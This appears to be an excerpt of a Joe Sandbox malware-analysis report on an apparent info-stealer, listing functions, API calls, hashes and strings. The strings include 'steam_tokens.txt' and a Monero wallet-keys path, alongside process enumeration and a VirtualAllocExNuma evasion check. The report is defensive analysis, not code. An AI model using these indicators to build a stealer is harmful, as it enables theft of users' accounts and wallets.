Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 9b5d6457d74892152be4759b2b1f086776a05457c87333cfd292420e22254ae2
Instruction ID: ada727231396dd3c960a4b743a4ac3be03417ae54d8958a3a6ba823293de0ea7
Opcode Fuzzy Hash: 9b5d6457d74892152be4759b2b1f086776a05457c87333cfd292420e22254ae2
Instruction Fuzzy Hash: 3A815675A10208DFDB28EF64DD91AEDBBB5FF94300F508529E8099F245DB34AA05DB82

Function 6CAD3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CAD3095

Part of subcall function 6CAD35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CB5F688,00001000), ref: 6CAD35D5
Part of subcall function 6CAD35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CAD35E0
Part of subcall function 6CAD35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CAD35FD
Part of subcall function 6CAD35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CAD363F
Part of subcall function 6CAD35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CAD369F
Part of subcall function 6CAD35A0: __aulldiv.LIBCMT ref: 6CAD36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAD309F

Part of subcall function 6CAF5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CAF56EE,?,00000001), ref: 6CAF5B85
Part of subcall function 6CAF5B50: EnterCriticalSection.KERNEL32(6CB5F688,?,?,?,6CAF56EE,?,00000001), ref: 6CAF5B90
Part of subcall function 6CAF5B50: LeaveCriticalSection.KERNEL32(6CB5F688,?,?,?,6CAF56EE,?,00000001), ref: 6CAF5BD8
Part of subcall function 6CAF5B50: GetTickCount64.KERNEL32 ref: 6CAF5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CAD30BE

Part of subcall function 6CAD30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CAD3127
Part of subcall function 6CAD30F0: __aulldiv.LIBCMT ref: 6CAD3140

Part of subcall function 6CB0AB2A: __onexit.LIBCMT ref: 6CB0AB30

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: ca813afb4c0ef2dfce937746bc46ed06776d6c1d29ace4b5d2eae9dcfb01b1a5
Instruction ID: 48d38d3b86892fb135c74cab21f1e8c18038a95d850e4c975176215e8da3b77b
Opcode Fuzzy Hash: ca813afb4c0ef2dfce937746bc46ed06776d6c1d29ace4b5d2eae9dcfb01b1a5
Instruction Fuzzy Hash: 5EF0A922E2078896CA10EF7489915EBF774AF6B114F915719E89467591FB2071DCC381

Function 00F49470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00F49484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00F494A5
CloseHandle.KERNEL32(00000000), ref: 00F494AF

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: ec1b015f55a84e2580a88362adac1f73ea112deba5307f47f7928acfac69dcaa
Instruction ID: e71a05eb9d119cd2e456e6defaceed6d39439687124a4d81e862745fe24214b1
Opcode Fuzzy Hash: ec1b015f55a84e2580a88362adac1f73ea112deba5307f47f7928acfac69dcaa
Instruction Fuzzy Hash: B2F05E74A0020CFBDB18DFA4DC4AFEE7778EB08311F004498BA1997280D6B46EC5DB90

Function 00F31110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00F3112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00F31132
ExitProcess.KERNEL32 ref: 00F31143

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: bf590f73ee8122c3e1312c5a7aff3eb736852823aa889fff6b29e9dd3d8aa391
Instruction ID: b1c5e0c73ccc814e36bf4c2cd10f0874050d9cd97f983c983afa013f044aa9d8
Opcode Fuzzy Hash: bf590f73ee8122c3e1312c5a7aff3eb736852823aa889fff6b29e9dd3d8aa391
Instruction Fuzzy Hash: 38E0E670945308FBE7246BA0AD0AB4D767CAF04B12F104154F719772C4D6B526819799

Function 00F36D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12e31e3f3bb8a3d8bfcf9dd1c3aafb2a4b99da9f3819b7f49318e50fb47ebe9f
Instruction ID: ee6a209b94d9ca6907667eb7eac50d0a5ae00f03a6290d6362987cacfbcf696f
Opcode Fuzzy Hash: 12e31e3f3bb8a3d8bfcf9dd1c3aafb2a4b99da9f3819b7f49318e50fb47ebe9f
Instruction Fuzzy Hash: 27611AB5D00218EFCB14DFA4E944BEEB7B0BF04314F148598E519A7280E775AE94EF91

Function 00F470D0 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 140COMMON

Download Yara Rule

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00F4718C

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-4138519520
Opcode ID: a61d96b38edbd1dbd99d2e7aac20ea9c1820a5660bf84f7b62a1e3f37b56e3ba
Instruction ID: abb6aafa35e1984352b9ff1150613cc1ac957be653449a064c30abe00c07b289
Opcode Fuzzy Hash: a61d96b38edbd1dbd99d2e7aac20ea9c1820a5660bf84f7b62a1e3f37b56e3ba
Instruction Fuzzy Hash: 50516FB1D443189FDB24EBA0DC85BEEBB74EF44304F1040A8EA1576181EB786E88EF55

Function 00F45100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

Part of subcall function 00F4A820: lstrlen.KERNEL32(00F34F05,?,?,00F34F05,00F50DDE), ref: 00F4A82B
Part of subcall function 00F4A820: lstrcpy.KERNEL32(00F50DDE,00000000), ref: 00F4A885

lstrlen.KERNEL32(00000000,00000000,00F50ACA), ref: 00F4512A

Strings

steam_tokens.txt, xrefs: 00F4513F

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: cb02553135a81f9d06157bc702180962322ff3cec0ba60afcf2dd322795e66cd
Instruction ID: ccff1a60f7eba9b759f4905ef84ba67b3c9e9bea84f507150cf8a14d4a7807e4
Opcode Fuzzy Hash: cb02553135a81f9d06157bc702180962322ff3cec0ba60afcf2dd322795e66cd
Instruction Fuzzy Hash: 88F01D7295010866EB14F7B0EC579ED7B3CEF54300F404168BD1762492EF2C6619E7A3

Function 00F47ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00F50E2C), ref: 00F47F00
wsprintfA.USER32 ref: 00F47F16

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 8ed8ace37036866b2bdd4a2a23e79269082d2994e39991426bbe2e8acfdff94a
Instruction ID: a95c8a7baf4c7861f3cffe3255ba4cfe61afc0fa2456b570d1542dd2e8604714
Opcode Fuzzy Hash: 8ed8ace37036866b2bdd4a2a23e79269082d2994e39991426bbe2e8acfdff94a
Instruction Fuzzy Hash: 38F096B1A04608EBC714DF85EC45FAAFBBCFB44724F400669F91593280D77559448BD1

Function 00F3B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

Part of subcall function 00F4A9B0: lstrlen.KERNEL32(?,00788908,?,\Monero\wallet.keys,00F50E17), ref: 00F4A9C5
Part of subcall function 00F4A9B0: lstrcpy.KERNEL32(00000000), ref: 00F4AA04
Part of subcall function 00F4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F4AA12

Part of subcall function 00F4A920: lstrcpy.KERNEL32(00000000,?), ref: 00F4A972
Part of subcall function 00F4A920: lstrcat.KERNEL32(00000000), ref: 00F4A982

Part of subcall function 00F4A8A0: lstrcpy.KERNEL32(?,00F50E17), ref: 00F4A905

Part of subcall function 00F4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F4A7E6

lstrlen.KERNEL32(00000000), ref: 00F3B9C2
lstrlen.KERNEL32(00000000), ref: 00F3B9D6

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 2c261bc072fd5343f7466b8c5568565e00ac583a72d14c11e9451027a47bc5ce
Instruction ID: 8d8b6c4dd33765256f237b44d56c771ddb154ecb554eae6bf0276c3882e8c776
Opcode Fuzzy Hash: 2c261bc072fd5343f7466b8c5568565e00ac583a72d14c11e9451027a47bc5ce
Instruction Fuzzy Hash: 92E11272850118ABEB18FBA0DC92EEE7738FF54300F404569F90663191EF386B49DB62

Function 00F3AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

Part of subcall function 00F4A9B0: lstrlen.KERNEL32(?,00788908,?,\Monero\wallet.keys,00F50E17), ref: 00F4A9C5
Part of subcall function 00F4A9B0: lstrcpy.KERNEL32(00000000), ref: 00F4AA04
Part of subcall function 00F4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F4AA12

Part of subcall function 00F4A920: lstrcpy.KERNEL32(00000000,?), ref: 00F4A972
Part of subcall function 00F4A920: lstrcat.KERNEL32(00000000), ref: 00F4A982

Part of subcall function 00F4A8A0: lstrcpy.KERNEL32(?,00F50E17), ref: 00F4A905

lstrlen.KERNEL32(00000000), ref: 00F3B16A
lstrlen.KERNEL32(00000000), ref: 00F3B17E

Part of subcall function 00F4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F4A7E6

Memory Dump Source

